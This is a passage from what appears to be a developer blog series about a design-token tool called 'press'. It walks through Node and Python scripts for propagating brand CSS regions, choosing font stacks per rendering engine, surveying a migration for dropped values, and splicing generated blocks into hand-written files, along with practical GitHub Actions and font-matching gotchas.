echo "      - run: npx -y @acme/brand@0.2.0 check" > consumers/site/.github/workflows/ci.yml

# report: pinned at the current release, but carrying an accent that moved
cat > consumers/report/brand.css <<'EOF'
/* >>> brand v0.4.0 GENERATED, do not edit */
  --paper: #F5F0E6;
  --ink: #181510;
  --accent: #FF6B35;
/* <<< brand */

.figure { border-color: var(--accent); }
EOF
echo "      - run: npx -y @acme/brand@0.4.0 check" > consumers/report/.github/workflows/ci.yml

node propagate.mjs --dry-run

    site       wrote-by 0.2.0   pin was behind, no rendered change -> bumped quietly
PR  report     wrote-by 0.4.0   BRAND VALUES CHANGED -> open a pull request

2 consumers, 1 pull request (dry run)

That is the payoff, and it inverts the obvious reading. site looks neglected: a pin two releases old and a region stamped by 0.2.0. It needs no review, because its bytes are already right. report looks impeccable: pinned at the current release, region stamped with the current version. It’s the one shipping the wrong color. Version numbers describe what a repo ran, not what it has, and only re-deriving the content tells you which.

Apply it, then run again:

node propagate.mjs
echo
cat consumers/report/brand.css
cat consumers/site/.github/workflows/ci.yml
echo
node propagate.mjs

    site       wrote-by 0.2.0   pin was behind, no rendered change -> bumped quietly
PR  report     wrote-by 0.4.0   BRAND VALUES CHANGED -> open a pull request

2 consumers, 1 pull request

/* >>> brand v0.4.0 GENERATED, do not edit */
  --paper: #F5F0E6;
  --ink: #181510;
  --accent: #E8501F;
/* <<< brand */

.figure { border-color: var(--accent); }
      - run: npx -y @acme/brand@0.4.0 check

    site       wrote-by 0.2.0   already current
    report     wrote-by 0.4.0   already current

2 consumers, 0 pull requests

Both are current on the second pass, and site still reports wrote-by 0.2.0. That’s rule one behaving correctly rather than a bug: its content never changed, so its marker was never rewritten, and a marker that lags reality is not itself a reason to touch a file.

Wire it to the release

The fan-out belongs on the release, plus a schedule as a safety net for consumers whose pull requests were closed unmerged.

name: propagate
on:
  workflow_call:        # called by the release job, in the same run
  schedule:
    - cron: "0 13 * * 1"
  workflow_dispatch:

jobs:
  fan-out:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: node propagate.mjs --dry-run

Note what is not there: a push: tags: trigger. That is the subject of the first gotcha, and it is the one that cost a whole release.

Gotchas

A tag pushed by your own release workflow starts nothing. The natural trigger for a fan-out is the release tag, so on: push: tags: ["v*"] is what you write. GitHub’s docs are explicit that this cannot work when the tag comes from CI: “When you use the repository’s GITHUB_TOKEN to perform tasks, events triggered by the GITHUB_TOKEN will not create a new workflow run”, with only workflow_dispatch and repository_dispatch exempted. Symptom: the trigger reads correctly, the release publishes, and the fan-out runs exactly zero times with no error anywhere, because a workflow that never started has no failed run to look at. press shipped this in 0.4.0 and confirmed it on that release, which tagged and published with no propagate run at all. The escape is either to call the workflow from the release job in the same run, as the workflow_call above does, or to use a GitHub App installation token or a personal access token, which the same docs recommend for exactly this.

Deriving a boolean from a human-readable status string. It is tempting to compute the status once and infer everything else from it. press wrote /updated$/ against a status that could read "updated" or "would update", and the two differ by more than tense:

true  "updated"
false "would update"

Symptom: --dry-run printed a changed region on one line and “nothing to do” on the next, which reads as a display bug rather than the state error it is. The escape is to carry changed as a boolean from the one place that actually compared the bytes, and let the display string derive from it rather than the reverse.

Open the pull request against the branch the consumer integrates on. The default branch is the obvious target and is frequently wrong. Every consumer here runs feature → dev → main, so a PR opened straight into main violates the flow it is supposed to respect. Worse, the default branch can legitimately lag: press’s first real fan-out reported two consumers as missing a region entirely, only because their migration was still sitting on dev. A shallow clone makes this invisible, since --depth=1 cannot see other branches at all. The escape is to check out the integration branch when the remote has one, fall back to the default branch otherwise, and clone deep enough to look.

A bot that opens pull requests has to close its own. Each release opening a fresh PR per consumer sounds harmless until one repo goes two releases without merging. Symptom: stacked pull requests, where the older ones fail by construction, since an older PR’s pin predates the targets the newer release declares, so its check is being asked about regions that did not exist when it was written. The reviewer sees red on a bot PR and stops trusting bot PRs. The escape is to make opening a new one close any older one it supersedes, with a comment saying what replaced it.

Sources

GitHub Docs: Triggering a workflow — events created with GITHUB_TOKEN do not start new workflow runs, and what to use instead
GitHub Docs: Dependabot version updates — the pull-request-per-outdated-dependency model this inverts
OpenSSF Scorecard checks: Pinned-Dependencies — why pinning is right, and the update problem it creates in exchange

Changelog

feat(press): push brand updates to every consumer (0.4.0) (#121) (03af5ef)

One font stack cannot serve two rendering engines

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

press 0.3.0 split the brand’s font stacks into per-engine profiles. Migrating a consumer that renders through WeasyPrint measured a regression the previous single-stack model would have shipped: the browser-tuned chain put Inter and 'Helvetica Neue' ahead of Arial, and headlines came out as Helvetica Neue Heavy Condensed, a visibly narrower face on every page. That was measured with pdffonts, not assumed. Under a fontconfig profile the same document renders Arial-Bold, Georgia-Bold and Menlo-Bold, exactly as it always had.

The general problem is worth more than the fix. A font-family list is not a portable declaration. It’s a set of instructions to one specific font-matching implementation, and the two implementations you’re most likely to ship through disagree about almost every entry in a typical stack. This guide builds the two tools that make that visible: one that predicts which face will win before you render, and one that tells you which face actually did.

Why the same CSS resolves differently

Chromium resolves -apple-system to the platform UI font and stops. Everything after it in your stack is depth for other platforms, and on macOS it is never consulted at all. That’s why browser-tuned stacks get long: extra entries are free, so you keep adding them.

A PDF renderer does not work that way. WeasyPrint’s own documentation is direct about it: “Pango always uses Fontconfig to access fonts, even on Windows and macOS,” and the features page lists a conforming CSS font matching algorithm as not supported, noting that “Currently font-family is passed as-is to Pango.” So the browser-only keywords resolve to nothing, get skipped, and the first family that actually exists on the machine wins. In a long browser-tuned stack, that is rarely the one you meant.

The standard spelling for the platform UI font is system-ui and the ui-serif / ui-monospace family; -apple-system and BlinkMacSystemFont are older vendor keywords that predate it and are still what most real stacks carry. Neither spelling means anything to Fontconfig.

To follow along you need Fontconfig (fc-list), WeasyPrint, and poppler (pdffonts). On macOS that’s brew install fontconfig poppler plus pip install weasyprint. If importing WeasyPrint then fails with cannot load library 'libgobject-2.0-0', it can’t see the Homebrew libraries, and DYLD_FALLBACK_LIBRARY_PATH=/opt/homebrew/lib is the fix. Pass it on the command itself, as in env DYLD_FALLBACK_LIBRARY_PATH=/opt/homebrew/lib python3 render.py …, rather than exporting it from your shell: System Integrity Protection strips DYLD_* variables whenever a protected binary such as /bin/bash is executed, so an export silently fails to reach any script you launch.

Declare the profiles

The brand’s type intent is one thing: a system sans for structure. The chain that achieves that intent is a property of the engine, so it belongs in the data, not in each consumer’s head. Save this as fonts.json:

{
  "default_profile": "browser",
  "profiles": {
    "browser": {
      "note": "Chromium/WebKit. -apple-system wins on macOS and the rest is depth for other platforms, so a long chain costs nothing.",
      "display_stack": "-apple-system, BlinkMacSystemFont, 'Segoe UI', Inter, Roboto, 'Helvetica Neue', Arial, sans-serif"
    },
    "fontconfig": {
      "note": "WeasyPrint and anything else going through Pango. The chain is walked for real, so every extra face is one that can win. Deliberately shallower.",
      "display_stack": "-apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif"
    }
  }
}

The loader has one rule worth stating out loud. Save it as profiles.py:

#!/usr/bin/env python3
"""The brand's type intent is one thing; the chain that achieves it is per-engine."""
import json
import sys
from pathlib import Path


class UnknownProfile(Exception):
    pass


def load_profile(name=None, path="fonts.json"):
    raw = json.loads(Path(path).read_text())
    key = name or raw["default_profile"]
    profile = raw["profiles"].get(key)
    if profile is None:
        # NEVER fall back to the default here. A target that asked for
        # `fontconfig` and quietly got the browser chain is the exact bug this
        # mechanism exists to prevent, and it would render wrong in silence.
        known = ", ".join(sorted(raw["profiles"]))
        raise UnknownProfile(f'unknown font profile "{key}" (known: {known})')
    return profile


if __name__ == "__main__":
    name = sys.argv[1] if len(sys.argv) > 1 else None
    try:
        print(load_profile(name)["display_stack"])
    except UnknownProfile as err:
        print(f"error: {err}", file=sys.stderr)
        raise SystemExit(2)

An unknown profile name raises instead of defaulting. A consumer that asked for the PDF chain and quietly received the browser one renders wrong and reports nothing, which is the failure this whole mechanism exists to prevent.

Predict which face will win

Before rendering anything, walk the stack the way the engine will. Save this as audit.py:

#!/usr/bin/env python3
"""Which family in a CSS font stack will a fontconfig engine actually pick?"""
import subprocess
import sys

# Keywords a browser resolves to a real face but fontconfig has never heard of.
# They are not "missing fonts" you can install; they are engine features.
BROWSER_ONLY = {
    "-apple-system", "blinkmacsystemfont", "-webkit-system-font",
}
# CSS generic families. A stack that reaches one of these is fine by definition,
# so they end the walk rather than counting as absent.
GENERIC = {
    "serif", "sans-serif", "monospace", "cursive", "fantasy",
    "system-ui", "ui-serif", "ui-sans-serif", "ui-monospace", "ui-rounded",
}


def installed_families():
    """Every family fontconfig can actually resolve, lowercased."""
    out = subprocess.run(
        ["fc-list", ":", "family"], capture_output=True, text=True, check=True
    ).stdout
    families = set()
    for line in out.splitlines():
        for name in line.split(","):
            if name.strip():
                families.add(name.strip().casefold())
    return families


def audit(stack, families):
    """Walk the stack the way the engine will, and report the first real hit."""
    rows, winner = [], None
    for raw in stack.split(","):
        name = raw.strip().strip("'\"")
        key = name.casefold()
        if key in BROWSER_ONLY:
            state = "browser-only"
        elif key in GENERIC:
            state = "generic"
        elif key in families:
            state = "present"
        else:
            state = "absent"
        if winner is None and state in ("present", "generic"):
            winner = name
        rows.append((name, state))
    return rows, winner


if __name__ == "__main__":
    families = installed_families()
    rows, winner = audit(sys.argv[1], families)
    for name, state in rows:
        mark = "->" if name == winner else "  "
        print(f"  {mark} {name:<22} {state}")
    print(f"\nfontconfig will render: {winner}")

The membership test is deliberately built on fc-list rather than fc-match, for a reason covered in the gotchas below.

Run it against both profiles:

python3 audit.py "$(python3 profiles.py browser)"
echo
python3 audit.py "$(python3 profiles.py fontconfig)"

     -apple-system          browser-only
     BlinkMacSystemFont     browser-only
     Segoe UI               absent
     Inter                  absent
     Roboto                 absent
  -> Helvetica Neue         present
     Arial                  present
     sans-serif             generic

fontconfig will render: Helvetica Neue

     -apple-system          browser-only
     BlinkMacSystemFont     browser-only
     Segoe UI               absent
  -> Arial                  present
     sans-serif             generic

fontconfig will render: Arial

Five of the browser profile’s eight entries are unreachable on this machine, and the sixth is the accident. Your own output will differ depending on what you have installed, which is the point: the same stack has a different answer on every box.

Measure what actually came out

A prediction you never check is a guess with better formatting. Render both profiles and read the file. Save this as render.py:

#!/usr/bin/env python3
"""Render one headline through WeasyPrint using a named font profile."""
import sys
from weasyprint import HTML
from profiles import load_profile

profile_name, out = sys.argv[1], sys.argv[2]
stack = load_profile(profile_name)["display_stack"]

HTML(string=f"""
<style>
  h1 {{ font-family: {stack}; font-weight: 800; font-size: 42px; }}
</style>
<h1>Weekly training brief</h1>
""").write_pdf(out)
print(f"{out}  <-  {profile_name} profile")

python3 render.py browser browser.pdf
python3 render.py fontconfig fontconfig.pdf

for f in browser fontconfig; do
  printf '%-12s %s\n' "$f" "$(pdffonts $f.pdf | awk 'NR==3 {print $1}')"
done

browser.pdf  <-  browser profile
fontconfig.pdf  <-  fontconfig profile
browser      WMHEWB+Helvetica-Neue-Bold
fontconfig   CFDMQT+Arial-Bold

pdffonts “lists the fonts used in a Portable Document Format (PDF) file”, giving the font name “exactly as given in the PDF file (potentially including a subset prefix)”. That six-letter prefix is a subset tag and depends on which glyphs got embedded, so it may well read differently on your machine; the part after the + is what you’re checking.

The prediction and the measurement agree, and the two profiles disagree with each other. That second fact is what makes the first one worth anything. If both profiles had produced Arial-Bold you would have no way to tell a working profile split from a probe that measures nothing, so keep a case in the loop that you expect to come out different. press did the same thing when migrating for real: alongside the byte-identical results it ran a control that forced Helvetica Neue, confirmed the face changed, and only then treated the identical results as meaningful.

Gotchas

fc-match will tell you a font is installed when it isn’t. The obvious way to check a stack is to ask Fontconfig about each name, and the obvious tool gives the wrong answer: per its man page, fc-match “matches pattern (empty pattern by default) using the normal fontconfig matching rules to find the best font available.” Best available, always. Symptom: you check every family in your stack, each one returns a real font, and you conclude the stack resolves fine. On the machine this guide was written on, fc-match Inter confidently reports Verdana, and fc-match ui-monospace does too. The escape is to enumerate instead of match: fc-list : family, split on commas, and test membership, which is exactly what installed_families() above does.

Depth is robustness in one engine and risk in the other. Adding fallbacks feels strictly defensive, and in a browser it is, because the first entry wins on the platform you tuned for and the rest is insurance for platforms you didn’t. Under Fontconfig the same list is a list of things that can beat your intent, and the more you add the likelier one of them is installed. Symptom: a stack grows over a few PRs, nothing changes in the browser, and a PDF quietly restyles itself. The escape is to stop treating the stack as one value: keep the deep chain for the browser, and hand the PDF engine a deliberately shallow one.

A profile that falls back silently is worse than no profiles. Once you have named profiles, the tempting kindness is to default when a name isn’t recognized, so a typo doesn’t break a build. Symptom: a consumer requests font-config, receives the browser chain, renders the wrong face, and every check stays green because nothing failed. The escape is the two lines in load_profile above: an unknown name raises and lists the known ones. A build that stops is cheaper than a document nobody notices is wrong.

Sources

WeasyPrint features documentation — Pango and Fontconfig do the matching, and the CSS font matching algorithm is explicitly not implemented
fc-match(1) man page — it returns the best font available, which is why it can’t answer “is this installed”
pdffonts(1) man page — reading the faces actually embedded in a rendered PDF
MDN: font-family — the standard system-ui / ui-serif / ui-monospace keywords

Changelog

feat(press): per-engine font profiles (0.3.0) (#119) (74d9b36)

The migration won't tell you which values it dropped

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

press 0.2.0 added what natejswenson.io needed to adopt the shared brand without changing by a single pixel. Surveying the site first turned up four values the token set could not express: three alpha tints it had written as literal rgba() strings, and a monospace stack one fallback deeper than the canonical one. Adopting press at that moment would have meant either losing them or hand-writing them locally, which is the duplication the whole thing exists to end. All 19 of the site’s generated custom properties came out byte-identical to what it already shipped.

The survey is the transferable part. Any time you move a product onto shared configuration, whether that’s design tokens, a lint config, or a base Docker image, there’s a set of values the product currently has and a set the shared thing can produce, and the interesting work is in the gap between them. This guide builds a tool that finds that gap before you migrate rather than after.

Read the consumer before you touch it

The step people skip is the first one. You cannot know what a migration would drop without reading what’s there, so start by extracting the consumer’s real declarations rather than trusting your memory of them.

Everything below is Node’s standard library, so an empty directory and Node 18 or newer is the whole setup. Start with the token set as it existed before the survey:

{
  "colors": {
    "paper": "#F5F0E6",
    "ink": "#181510",
    "accent": "#E8501F"
  },
  "derived": {},
  "fonts": {
    "mono_stack": "ui-monospace, 'SF Mono', Menlo, monospace"
  }
}

Then declare what the consumer is expected to receive. This mapping is also where a consumer’s own naming lives, since a product will already have its own names for these values and renaming everything on adoption day is how a migration stalls.

{
  "id": "site",
  "path": "site/theme.css",
  "vars": [
    { "token": "paper", "name": "bg" },
    { "token": "ink", "name": "fg" },
    { "token": "accent", "name": "accent" },
    { "token": "border", "name": "border" },
    { "token": "border_hover", "name": "border-hover" },
    { "token": "accent_dim", "name": "accent-dim" },
    { "token": "mono_stack", "name": "font-mono" }
  ]
}

Note that four of those tokens do not exist in the file above. That is deliberate: the target declares what the consumer needs, and the survey’s job is to tell you the system can’t supply it yet.

Derive the tints, don’t copy them

Three of the site’s values were alpha tints of colors the token set already had. A tint written out as a literal is a second place the brand’s ink color lives, and nothing tells you when the two stop agreeing. So declare it as a computation instead. Save this as resolve.mjs:

export function hexToRgb(hex) {
  const m = /^#([0-9a-f]{6})$/i.exec(hex);
  if (!m) throw new Error(`not a 6-digit hex color: ${hex}`);
  const n = parseInt(m[1], 16);
  return [(n >> 16) & 255, (n >> 8) & 255, n & 255];
}

// A derived token is declared as {from, alpha} and COMPUTED, never written out.
// This is the difference between one source of truth and two: an rgba() typed
// by hand into a consumer is a second place the brand's ink color lives, and
// nothing will tell you when the two stop agreeing.
export function resolveTokens(raw) {
  const derived = {};
  for (const [name, spec] of Object.entries(raw.derived ?? {})) {
    const base = raw.colors[spec.from];
    if (!base) {
      throw new Error(`derived token "${name}" references unknown color "${spec.from}"`);
    }
    const [r, g, b] = hexToRgb(base);
    derived[name] = `rgba(${r}, ${g}, ${b}, ${spec.alpha})`;
  }
  return { ...raw.colors, ...derived, ...raw.fonts };
}

This is the aliasing idea every token toolchain lands on. Style Dictionary spells references with curly-brace token paths so a value is written once and referenced everywhere else, and the same instinct now exists in CSS itself: Color Module Level 5’s relative color syntax lets you write rgb(from var(--ink) r g b / 0.16) and skip the precompute entirely. Precomputing still buys you one thing relative color doesn’t, which is that the emitted value is a plain literal every consumer can read, including the ones that aren’t a browser.

Naming a color that doesn’t exist fails immediately rather than emitting something plausible:

derived token "border" references unknown color "inkk"

Build the survey

Now the tool. For each declared variable it answers one of five things, and three of those five block the migration. Save it as survey.mjs:

#!/usr/bin/env node
import { readFileSync } from 'node:fs';
import { resolveTokens } from './resolve.mjs';

// Pull every custom property the consumer already declares. This is the half
// people skip: you cannot know what a migration would drop without reading
// what is there first.
export function readCustomProps(css) {
  const out = new Map();
  for (const m of css.matchAll(/^\s*--([\w-]+)\s*:\s*([^;]+);/gm)) {
    out.set(m[1], m[2].trim().replace(/\s+/g, ' '));
  }
  return out;
}

const faces = (stack) => stack.split(',').map((f) => f.trim());

// Is `inner` an in-order subsequence of `outer`? A font stack is a prioritized
// list, so a shorter list that appears in order inside a longer one is the
// same intent with fewer escape hatches, not a different one.
function isSubsequence(inner, outer) {
  let i = 0;
  for (const f of outer) if (i < inner.length && inner[i] === f) i += 1;
  return i === inner.length;
}

export function surveyTarget(target, tokens, css) {
  const existing = readCustomProps(css);
  const rows = [];

  for (const v of target.vars) {
    const have = existing.get(v.name);
    const want = tokens[v.token];

    if (want === undefined) {
      // The consumer ships a value the token set has no name for. Migrating
      // now means hand-writing it locally, which is the duplication the token
      // set exists to prevent.
      rows.push({ name: v.name, verdict: 'unexpressible', have });
      continue;
    }
    if (have === undefined) { rows.push({ name: v.name, verdict: 'new', want }); continue; }
    if (have === want) { rows.push({ name: v.name, verdict: 'match' }); continue; }

    const [a, b] = [faces(have), faces(want)];
    if (a.length > b.length && isSubsequence(b, a)) {
      rows.push({
        name: v.name, verdict: 'would-drop-fallbacks',
        lost: a.filter((f) => !b.includes(f)),
      });
      continue;
    }
    rows.push({ name: v.name, verdict: 'differs', have, want });
  }
  return rows;
}

const LABEL = {
  match: 'ok      ',
  new: 'NEW     ',
  differs: 'DIFFERS ',
  'would-drop-fallbacks': 'DROPS   ',
  unexpressible: 'NO TOKEN',
};

if (import.meta.url === `file://${process.argv[1]}`) {
  const tokens = resolveTokens(JSON.parse(readFileSync('tokens.json', 'utf8')));
  const target = JSON.parse(readFileSync('targets.json', 'utf8'));
  const rows = surveyTarget(target, tokens, readFileSync(target.path, 'utf8'));

  for (const r of rows) {
    let detail = '';
    if (r.verdict === 'unexpressible') detail = `consumer has ${r.have}`;
    if (r.verdict === 'would-drop-fallbacks') detail = `would lose ${r.lost.join(', ')}`;
    if (r.verdict === 'differs') detail = `${r.have}  ->  ${r.want}`;
    console.log(`${LABEL[r.verdict]}  --${r.name}${detail ? '  ' + detail : ''}`);
  }
  const blockers = rows.filter((r) => r.verdict !== 'match' && r.verdict !== 'new');
  console.log(`\n${rows.length} declared, ${blockers.length} blocking adoption`);
  process.exit(blockers.length ? 1 : 0);
}

The font-stack branch is the one worth reading twice. A font-family value is a prioritized list, and per CSS Fonts Module Level 4, “A user agent iterates through the list of family names until it matches an available font that contains a glyph for the character to be rendered.” So a shorter list that appears in order inside a longer one isn’t a different intent, it’s the same intent with fewer escape hatches. Reporting that as a plain difference invites you to overwrite it, which is exactly the wrong move.

Run it

Give the consumer the values it actually ships today, then survey it:

mkdir -p site
cat > site/theme.css <<'EOF'
:root {
  --bg: #F5F0E6;
  --fg: #181510;
  --accent: #E8501F;
  --border: rgba(24, 21, 16, 0.16);
  --border-hover: rgba(24, 21, 16, 0.38);
  --accent-dim: rgba(232, 80, 31, 0.12);
  --font-mono: ui-monospace, 'SF Mono', 'JetBrains Mono', Menlo, monospace;
}
EOF

node survey.mjs; echo "exit: $?"

ok        --bg
ok        --fg
ok        --accent
NO TOKEN  --border  consumer has rgba(24, 21, 16, 0.16)
NO TOKEN  --border-hover  consumer has rgba(24, 21, 16, 0.38)
NO TOKEN  --accent-dim  consumer has rgba(232, 80, 31, 0.12)
DROPS     --font-mono  would lose 'JetBrains Mono'

7 declared, 4 blocking adoption
exit: 1

Four blockers, which is the same count press hit surveying the real site. Three of them are values with nowhere to live, and one is a face that would have quietly vanished from a fallback chain. None of these would have shown up in review: the alpha tints render identically until someone changes ink, and the missing mono fallback only matters on a machine where the faces ahead of it are absent.

Now close the gaps. Declare the tints as computations, and widen the stack to the union rather than overwriting it:

{
  "colors": {
    "paper": "#F5F0E6",
    "ink": "#181510",
    "accent": "#E8501F"
  },
  "derived": {
    "border": { "from": "ink", "alpha": 0.16 },
    "border_hover": { "from": "ink", "alpha": 0.38 },
    "accent_dim": { "from": "accent", "alpha": 0.12 }
  },
  "fonts": {
    "mono_stack": "ui-monospace, 'SF Mono', 'JetBrains Mono', Menlo, monospace"
  }
}

node survey.mjs; echo "exit: $?"

ok        --bg
ok        --fg
ok        --accent
ok        --border
ok        --border-hover
ok        --accent-dim
ok        --font-mono

7 declared, 0 blocking adoption
exit: 0

Zero blockers, and the three tints the system now computes came out as the same strings the consumer had typed by hand. That equality is the actual result: it means adoption is a no-op, and you know it before you’ve changed the consumer at all rather than by staring at a rendered page afterward.

Gotchas

A deeper fallback chain is not a difference to fix. When the consumer’s stack and yours disagree, the reflex is to emit yours and move on. Symptom: a face disappears from the chain, and nothing looks wrong to you, because the faces ahead of it resolve on your machine and you never reach the part you deleted. It surfaces later on somebody else’s box, or in a rendering engine that walks the chain for real. The escape is the subsequence check above: if your list appears in order inside theirs, take the union, because fallbacks are additive and the deepest chain is the safe one. press made this call twice, first when the résumé’s print-tuned stacks became canonical in 0.1.0, then again here for 'JetBrains Mono'.

Two values that are “obviously the same” can be two shipped products. The survey will hand you near-duplicates and invite you to reconcile them. press found hair at alpha 0.18 and border at 0.16, both meaning “a faint ink line”, differing only because one was tuned on a résumé and the other on a website. Symptom: you merge them, and one of two shipped products changes appearance as a side effect of a refactor that was supposed to change nothing, which is also the hardest kind of regression to attribute later. The escape is to keep both, named separately, with a comment recording that the difference is real and known. Reconciling them is a design decision worth making on purpose, and separately.

An unexpressible value becomes a local hand-write, and that is worse than before. The tempting compromise when the token set can’t say something is to adopt it anyway and leave that one line local “for now”. Symptom: you end up with two sources of truth where you had one, and the local copy now looks sanctioned because it sits inside a file that otherwise came from the shared system, so the next person to read it has no way to tell which lines are authoritative. The escape is the exit code: make the survey fail until the token set can express everything the consumer ships, so “we’ll fix it after the migration” isn’t reachable.

Sources

CSS Fonts Module Level 4 — the font matching algorithm and why a font-family value is a prioritized list, not a set
CSS Color Module Level 5 — relative color syntax, the in-CSS alternative to precomputing alpha tints
Style Dictionary: tokens and references — token aliasing with curly-brace paths, so a value is written once

Changelog

feat(press): alpha tints + mono union so the site can adopt at 1:1 (0.2.0) (#117) (6e22f2c)

Own part of a file without owning the file

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

press 0.1.0 replaced eight hand-ported copies of one brand across four repositories with a single tokens.json and a CI drift gate. Each copy had documented its own lineage in a header comment, which is a copy chain rather than a system: five different names for the same orange, and three token groups that were genuinely shared but declared nowhere. The release declared all eight as targets, migrated the five that live in the same monorepo, and added press check to fail the build when any of them drifts. Those five span Python, CSS and Markdown.

The interesting part isn’t the token file. It’s that none of those consumers is generated. Each one is a hand-written stylesheet or renderer with a small shared block inside it, and press owns only the block. This guide builds that mechanism: a marked region you can splice into a file you don’t own, plus the gate that keeps it honest.

Why a region and not a file

The obvious design is to generate the whole consumer file from the tokens. It’s simpler to write and it’s wrong for most codebases, because the shared part is usually small and the rest is medium-specific work you’d be destroying on every sync. In press the shared core is around 80 lines while a single consumer’s stylesheet runs past 250, and a whole-file sync had already erased a hand-written avatar footer once before.

Marked regions are well-trodden. Ansible’s blockinfile inserts and updates a block between customizable marker lines, and its docs are blunt about the failure mode: a custom marker that omits the {mark} placeholder gets the block re-inserted on every run instead of updated. Go standardized the other half, the warning to humans. Generated Go source is expected to carry a line matching ^// Code generated .* DO NOT EDIT\.$, and per the go generate docs, “This line must appear before the first non-comment, non-blank text in the file.”

We want both properties, plus one more: the marker should carry a receipt, so a diff tells you which release last wrote the block and a hand-edit is detectable without re-running the generator.

Define the tokens and the consumers

Everything below is Node’s standard library with no dependencies, so an empty directory and Node 18 or newer is the whole setup. Start with the source of truth. Keep it dumb; it’s data, not code. The Design Tokens Format Module standardizes a richer JSON shape for exactly this if you want cross-tool interoperability later, but a flat object is enough to build on.

{
  "colors": {
    "paper": "#F5F1E8",
    "ink": "#1A1A1A",
    "accent": "#FF6B35"
  },
  "fonts": {
    "display": "Inter, system-ui, sans-serif"
  }
}

Then declare the consumers. A target is one region, in one file, in one repo. This registry is what makes a file the tool’s business; anything not listed here is invisible to the gate, which is the whole failure mode you’re closing.

{
  "targets": [
    {
      "id": "site-css",
      "path": "site/brand.css",
      "region": "vars",
      "syntax": "css",
      "emitter": "css-vars",
      "params": { "selector": ":root", "alias": { "accent": "sig" } },
      "init": { "replaceFrom": "^:root \\{$", "replaceTo": "^\\}$" }
    },
    {
      "id": "report-py",
      "path": "report/brand.py",
      "region": "vars",
      "syntax": "python",
      "emitter": "python-dict",
      "params": { "name": "THEME" },
      "init": { "replaceFrom": "^THEME = \\{$", "replaceTo": "^\\}$" }
    }
  ]
}

The alias map matters more than it looks. Consumers will already have their own names for a value, and forcing every repo to rename its variables on adoption day is how a migration stalls. Let the registry translate.

Build the region protocol

Save this as region.mjs. It knows four things: how to write a marker in a given comment syntax, how to find a region, how to replace one, and how to create one for the first time.

import { createHash } from 'node:crypto';

// One comment syntax per file type you need to write into.
export const SYNTAXES = {
  css: { prefix: '/* ', suffix: ' */' },
  python: { prefix: '# ', suffix: '' },
};

const BANNER = 'GENERATED, do not edit';

export class RegionError extends Error {}

const syntaxOf = (name) => {
  const s = SYNTAXES[name];
  if (!s) throw new RegionError(`unknown syntax "${name}"`);
  return s;
};

const wrap = (s, text) => `${s.prefix}${text}${s.suffix}`;

// The inner text of a comment line, or null if this line is not one.
function unwrap(s, line) {
  const t = line.replace(/\s+$/, '');
  if (!t.startsWith(s.prefix)) return null;
  if (s.suffix && !t.endsWith(s.suffix)) return null;
  return t.slice(s.prefix.length, t.length - s.suffix.length);
}

export function bodyHash(body) {
  const normalized = body.replace(/\r\n/g, '\n').replace(/\s+$/, '');
  return createHash('sha256').update(normalized, 'utf8').digest('hex').slice(0, 12);
}

export const startMarker = (syntax, region, version, hash) =>
  wrap(syntaxOf(syntax), `>>> tokens:${region} v${version} sha256:${hash} ${BANNER}`);

export const endMarker = (syntax, region) =>
  wrap(syntaxOf(syntax), `<<< tokens:${region}`);

const escapeRe = (s) => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');

export function findRegion(text, region, syntax) {
  const s = syntaxOf(syntax);
  const lines = text.split('\n');
  const openRe = new RegExp(`^>>> tokens:${escapeRe(region)}(?:\\s|$)`);
  const closeRe = new RegExp(`^<<< tokens:${escapeRe(region)}\\s*$`);

  let start = -1;
  for (let i = 0; i < lines.length; i += 1) {
    const inner = unwrap(s, lines[i]);
    if (inner !== null && openRe.test(inner)) {
      if (start !== -1) throw new RegionError(`region "${region}" opens twice`);
      start = i;
    }
  }
  if (start === -1) return null;

  let end = -1;
  for (let i = start + 1; i < lines.length; i += 1) {
    const inner = unwrap(s, lines[i]);
    if (inner !== null && closeRe.test(inner)) { end = i; break; }
  }
  if (end === -1) throw new RegionError(`region "${region}" opens but never closes`);

  const receipt = /\bv(\S+)\s+sha256:([0-9a-f]+)/.exec(unwrap(s, lines[start]));
  return {
    startLine: start,
    endLine: end,
    body: lines.slice(start + 1, end).join('\n'),
    version: receipt ? receipt[1] : null,
    hash: receipt ? receipt[2] : null,
  };
}

export function renderRegion(region, syntax, body, version) {
  const trimmed = body.replace(/\s+$/, '');
  return [
    startMarker(syntax, region, version, bodyHash(trimmed)),
    trimmed,
    endMarker(syntax, region),
  ].join('\n');
}

// Replace an existing region. Refuses to guess if there isn't one.
export function spliceRegion(text, region, syntax, body, version) {
  const found = findRegion(text, region, syntax);
  if (!found) throw new RegionError(`file has no tokens:${region} region; run with --init first`);
  const lines = text.split('\n');
  lines.splice(
    found.startLine,
    found.endLine - found.startLine + 1,
    ...renderRegion(region, syntax, body, version).split('\n'),
  );
  return lines.join('\n');
}

// First-time insertion. `replaceFrom`/`replaceTo` name the first and last line
// of the hand-written block the region takes over, so the old copy is swallowed
// instead of left behind to drift.
export function initRegion(text, region, syntax, body, version, anchor = {}) {
  if (findRegion(text, region, syntax)) {
    throw new RegionError(`file already has a tokens:${region} region`);
  }
  const block = renderRegion(region, syntax, body, version);
  const { replaceFrom, replaceTo } = anchor;
  if (!replaceFrom) return `${text.replace(/\s+$/, '')}\n\n${block}\n`;

  const lines = text.split('\n');
  const from = lines.findIndex((l) => new RegExp(replaceFrom).test(l));
  if (from === -1) throw new RegionError(`anchor replaceFrom /${replaceFrom}/ matched no line`);
  const toRe = new RegExp(replaceTo ?? replaceFrom);
  let to = -1;
  for (let i = from; i < lines.length; i += 1) {
    if (toRe.test(lines[i]) && (i > from || !replaceTo)) { to = i; break; }
  }
  if (to === -1) throw new RegionError(`anchor replaceTo /${replaceTo}/ matched no line`);
  lines.splice(from, to - from + 1, ...block.split('\n'));
  return lines.join('\n');
}

Three decisions in there are worth pulling out. spliceRegion throws rather than appending when the region is absent, because silently creating a second copy is precisely the Ansible failure mode. The init anchor swallows the legacy hand-written block in the same operation that inserts the region, so adoption never leaves a duplicate definition behind. And the hash is over a whitespace-normalized body, so a stray trailing newline doesn’t read as a change.

Emit the body from the tokens

An emitter turns tokens into the text that goes between the markers. Save this as emit.mjs. Every emitter is a pure function of (tokens, params), which is the property the gate depends on later.

export class EmitError extends Error {}

// Preferred order for output. A SORT KEY, never a filter: anything not named
